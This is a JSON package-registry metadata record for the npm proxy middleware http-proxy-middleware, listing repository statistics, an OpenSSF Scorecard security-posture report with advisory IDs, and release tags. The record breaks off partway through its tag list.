{"id":1841856,"name":"http-proxy-middleware","ecosystem":"npm","description":"The one-liner node.js proxy middleware for connect, express, next.js and more","homepage":"https://github.com/chimurai/http-proxy-middleware#readme","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/chimurai/http-proxy-middleware","keywords_array":["browser-sync","connect","cors","express","fastify","grunt-contrib-connect","gulp","hono","http","https","middleware","next.js","polka","proxy","reverse","websocket","ws"],"namespace":null,"versions_count":108,"first_release_published_at":"2015-03-14T21:57:46.940Z","latest_release_published_at":"2026-07-04T21:49:09.221Z","latest_release_number":"4.2.0","last_synced_at":"2026-10-17T20:44:37.890Z","created_at":"2022-04-09T17:18:05.464Z","updated_at":"2026-10-18T10:45:54.482Z","registry_url":"https://www.npmjs.com/package/http-proxy-middleware","install_command":"npm install http-proxy-middleware","documentation_url":null,"metadata":{"funding":null,"dist-tags":{"beta":"4.1.0-beta.2","v3-latest":"3.0.7","latest":"4.2.0","v2-beta":"2.0.10-beta.0","v2-latest":"2.0.10"},"contentPolicy":null},"repo_metadata":{"id":28698813,"uuid":"32219142","full_name":"chimurai/http-proxy-middleware","owner":"chimurai","description":":zap: The one-liner node.js http-proxy (httpxy) middleware for connect, express, next.js and more","archived":false,"fork":false,"pushed_at":"2026-10-05T19:05:23.000Z","size":4605,"stargazers_count":11127,"open_issues_count":17,"forks_count":876,"subscribers_count":114,"default_branch":"master","last_synced_at":"2026-10-09T17:48:26.364Z","etag":null,"topics":["browser-sync","connect","express","fastify","hono","http-proxy","httpxy","javascript","middleware","nextjs","node","nodejs","polka","proxy","proxy-middleware","websocket"],"latest_commit_sha":null,"homepage":"","language":"TypeScript","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/chimurai.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":"CONTRIBUTING.md","funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":"AGENTS.md","claude":null,"gemini":null,"cursor":null,"copilot":null,"dco":null,"cla":null,"disclosure":null}},"created_at":"2015-03-14T15:45:55.000Z","updated_at":"2026-10-09T03:06:17.000Z","dependencies_parsed_at":"2026-10-09T13:41:12.663Z","dependency_job_id":null,"html_url":"https://github.com/chimurai/http-proxy-middleware","commit_stats":{"total_commits":439,"total_committers":40,"mean_commits":10.975,"dds":0.4829157175398633,"last_synced_commit":"77f320e4dca8247167471393dcbce2b1e333b7cf"},"previous_names":[],"tags_count":91,"template":false,"template_full_name":null,"purl":"pkg:github/chimurai/http-proxy-middleware","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/chimurai","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/sbom","scorecard":{"id":277788,"data":{"date":"2025-08-11","repo":{"name":"github.com/chimurai/http-proxy-middleware","commit":"e7ae0098ebdbbdf77c0c23e84d2208cb7fc35cea"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":4,"checks":[{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Info: jobLevel 'contents' permission set to 'read': .github/workflows/publish.yml:11","Warn: no topLevel permission defined: .github/workflows/ci.yml:1","Warn: no topLevel permission defined: .github/workflows/publish.yml:1","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Maintained","score":6,"reason":"8 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 6","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Code-Review","score":0,"reason":"Found 2/30 approved changesets -- score normalized to 0","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:194: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/ci.yml:195: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:11: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:13: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:17: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:38: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:40: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:44: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:71: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:75: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:100: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:102: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:106: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:134: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:136: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:140: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:164: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:166: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:170: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/ci.yml:186: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/publish.yml:14: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/publish.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/publish.yml:15: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/publish.yml/master?enable=pin","Info:   0 out of  21 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   2 third-party GitHubAction dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"Security-Policy","score":0,"reason":"security policy file not detected","details":["Warn: no security policy file detected","Warn: no security file to analyze","Warn: no security file to analyze","Warn: no security file to analyze"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: MIT License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/publish.yml:6"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Branch-Protection","score":1,"reason":"branch protection is not maximal on development and all release branches","details":["Warn: branch protection not enabled for branch '2.x'","Info: 'allow deletion' disabled on branch 'master'","Info: 'force pushes' disabled on branch 'master'","Info: 'branch protection settings apply to administrators' is required to merge on branch 'master'","Warn: 'stale review dismissal' is disabled on branch 'master'","Warn: branch 'master' does not require approvers","Warn: codeowners review is not required on branch 'master'","Warn: 'last push approval' is disabled on branch 'master'","Info: status check found to merge onto on branch 'master'","Info: PRs are required in order to make changes on branch 'master'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"SAST","score":0,"reason":"SAST tool is not run on all commits -- score normalized to 0","details":["Warn: 0 commits out of 28 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}},{"name":"Vulnerabilities","score":5,"reason":"5 existing vulnerabilities detected","details":["Warn: Project is vulnerable to: GHSA-v6h2-p8h4-qcjw","Warn: Project is vulnerable to: GHSA-968p-4wvh-cqc8","Warn: Project is vulnerable to: GHSA-xffm-g5w8-qvg7","Warn: Project is vulnerable to: GHSA-fjxv-7rqg-78g4","Warn: Project is vulnerable to: GHSA-52f5-9888-hmc6"],"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}}]},"last_synced_at":"2025-08-17T14:57:40.637Z","repository_id":28698813,"created_at":"2025-08-17T14:57:40.637Z","updated_at":"2025-08-17T14:57:40.637Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":343680568,"owners_count":38148032,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-10-03T21:59:58.778Z","status":"online","status_checked_at":"2026-10-09T02:00:07.585Z","response_time":55,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"chimurai","name":"Steven Chim","uuid":"655241","kind":"user","description":"","email":"","website":null,"location":"Planet Earth, Milky Way","twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/655241?v=4","repositories_count":28,"last_synced_at":"2026-10-09T17:48:47.582Z","metadata":{"has_sponsors_listing":false,"funding":null},"html_url":"https://github.com/chimurai","funding_links":[],"total_stars":11311,"followers":184,"following":30,"created_at":"2022-11-02T16:21:00.461Z","updated_at":"2026-10-09T17:48:47.595Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/chimurai","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/chimurai/repositories"},"tags":[{"name":"v4.2.0","sha":"4abb1ba10e72f4fb1208d95f3f5d45352b38e440","kind":"commit","published_at":"2026-07-04T21:46:10.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v4.2.0","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v4.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v4.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v4.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v4.2.0/manifests"},{"name":"v2.0.10","sha":"f0be839066ba14f2598c6c1aef10ff54b020babb","kind":"commit","published_at":"2026-06-19T18:02:40.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v2.0.10","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v2.0.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v2.0.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v2.0.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v2.0.10/manifests"},{"name":"v2.0.10-beta.0","sha":"19c860de9854988351c4c9bf5fe79687942e1833","kind":"commit","published_at":"2026-06-19T17:45:29.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v2.0.10-beta.0","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v2.0.10-beta.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v2.0.10-beta.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v2.0.10-beta.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v2.0.10-beta.0/manifests"},{"name":"v4.1.1","sha":"b3b98d2846aa6a0cc9a1a08b8b152a634bb4741e","kind":"commit","published_at":"2026-06-14T20:52:42.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v4.1.1","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v4.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v4.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v4.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v4.1.1/manifests"},{"name":"v3.0.7","sha":"8cc4eba839e6cd95ebc073b2b48c4124ed72c302","kind":"commit","published_at":"2026-06-14T20:45:23.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v3.0.7","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v3.0.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v3.0.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v3.0.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v3.0.7/manifests"},{"name":"v4.1.0","sha":"013dd9bbdf3436fe9c17a2c24a0d04a0fcb6de19","kind":"commit","published_at":"2026-06-06T14:53:43.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v4.1.0","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v4.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v4.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v4.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v4.1.0/manifests"},{"name":"v3.0.6","sha":"ea0bb98867bda354b759e92ce1933ab43cbbbcf8","kind":"commit","published_at":"2026-06-06T14:53:05.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v3.0.6","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v3.0.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v3.0.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v3.0.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v3.0.6/manifests"},{"name":"v4.1.0-beta.2","sha":"f26184a534c92131947501c46005a8c2a2e42b75","kind":"commit","published_at":"2026-05-25T17:12:31.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v4.1.0-beta.2","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v4.1.0-beta.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v4.1.0-beta.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v4.1.0-beta.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v4.1.0-beta.2/manifests"},{"name":"v4.1.0-beta.1","sha":"899c507ba4f612c5326ac6ac5744ce21615e6fd5","kind":"commit","published_at":"2026-05-23T14:28:39.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v4.1.0-beta.1","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v4.1.0-beta.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v4.1.0-beta.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v4.1.0-beta.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v4.1.0-beta.1/manifests"},{"name":"v4.1.0-beta.0","sha":"1c44dfa5e147bfc54e51200f0246a4ea4a283578","kind":"commit","published_at":"2026-05-23T14:07:25.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v4.1.0-beta.0","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v4.1.0-beta.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v4.1.0-beta.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v4.1.0-beta.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v4.1.0-beta.0/manifests"},{"name":"v4.0.0","sha":"8f356bcb5fce079460564f729da55814363361a6","kind":"commit","published_at":"2026-05-05T18:31:35.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v4.0.0","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v4.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v4.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v4.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v4.0.0/manifests"},{"name":"v4.0.0-beta.6","sha":"f8ecd6d2c6abe683f4f1cc5377fb93dfe9b1e145","kind":"commit","published_at":"2026-05-02T19:07:50.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v4.0.0-beta.6","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v4.0.0-beta.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v4.0.0-beta.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v4.0.0-beta.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v4.0.0-beta.6/manifests"},{"name":"v4.0.0-beta.5","sha":"339f09ede860197807d4fd99ed9020fa5d0bd358","kind":"commit","published_at":"2026-04-26T12:30:57.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v4.0.0-beta.5","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v4.0.0-beta.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v4.0.0-beta.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v4.0.0-beta.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v4.0.0-beta.5/manifests"},{"name":"v4.0.0-beta.4","sha":"351c5d47d3f1b82767de5900afd6401591fb7937","kind":"commit","published_at":"2026-04-23T21:29:34.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v4.0.0-beta.4","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v4.0.0-beta.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v4.0.0-beta.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v4.0.0-beta.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v4.0.0-beta.4/manifests"},{"name":"v4.0.0-beta.3","sha":"2344bed127da5a8c2c58e3d8733d80f42dd8d6b8","kind":"commit","published_at":"2026-04-05T18:21:20.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v4.0.0-beta.3","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v4.0.0-beta.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v4.0.0-beta.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v4.0.0-beta.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v4.0.0-beta.3/manifests"},{"name":"v4.0.0-beta.2","sha":"86f671b17f3d21e88a647fdac6ae229ec0712c90","kind":"commit","published_at":"2026-04-04T21:17:32.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v4.0.0-beta.2","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v4.0.0-beta.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v4.0.0-beta.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v4.0.0-beta.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v4.0.0-beta.2/manifests"},{"name":"v4.0.0-beta.1","sha":"90409da48694a2aa6032637d32f1fcd7df828780","kind":"commit","published_at":"2026-04-04T20:33:25.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v4.0.0-beta.1","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v4.0.0-beta.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v4.0.0-beta.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v4.0.0-beta.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v4.0.0-beta.1/manifests"},{"name":"v4.0.0-beta.0","sha":"2e94f714380861525d5756a0d2881d0973a5a8ee","kind":"commit","published_at":"2026-04-03T21:41:20.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v4.0.0-beta.0","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v4.0.0-beta.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v4.0.0-beta.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v4.0.0-beta.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v4.0.0-beta.0/manifests"},{"name":"v2.0.9","sha":"617a7c9da9cc90ecc00b0c8b1c2f6a385c879cb1","kind":"commit","published_at":"2025-04-10T12:10:53.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v2.0.9","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v2.0.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v2.0.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v2.0.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v2.0.9/manifests"},{"name":"v3.0.5","sha":"d3851ed0075298ea2477d4221809f5875781b66f","kind":"commit","published_at":"2025-04-10T12:10:24.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v3.0.5","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v3.0.5","dependencies_parsed_at":null,"dependen